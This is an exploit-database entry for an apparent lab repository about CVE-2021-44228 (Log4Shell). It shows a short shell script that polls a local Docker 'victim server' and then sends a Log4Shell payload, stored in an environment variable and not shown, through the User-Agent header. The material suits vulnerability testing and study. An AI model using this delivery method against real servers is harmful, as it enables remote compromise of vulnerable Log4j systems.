Exploit database

GH-b6650a2390641c72db986f20f437cf99

b-abderrahmane/cve-2021-44228-playground

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-44228

465 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files18
b-abderrahmane/cve-2021-44228-playgroundRevision cb7b66f65c7c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploits.sh

Shell · 541 bytes
#!/bin/bash
set -ex

echo "waiting for the victim server to come up"

attempt_counter=0
max_attempts=20

env

until $(curl --output /dev/null --silent --head --fail http://host.docker.internal:8080/); do
    if [ ${attempt_counter} -eq ${max_attempts} ];then
      echo "Max attempts reached"
      exit 1
    fi

    printf '.'
    attempt_counter=$(($attempt_counter+1))
    sleep 1
done

echo "Sending payload for CVE 2021-44228 through GET parameter" 
curl -H "User-Agent: $PAYLOAD_44228"  "http://host.docker.internal:8080/$TARGET_URI"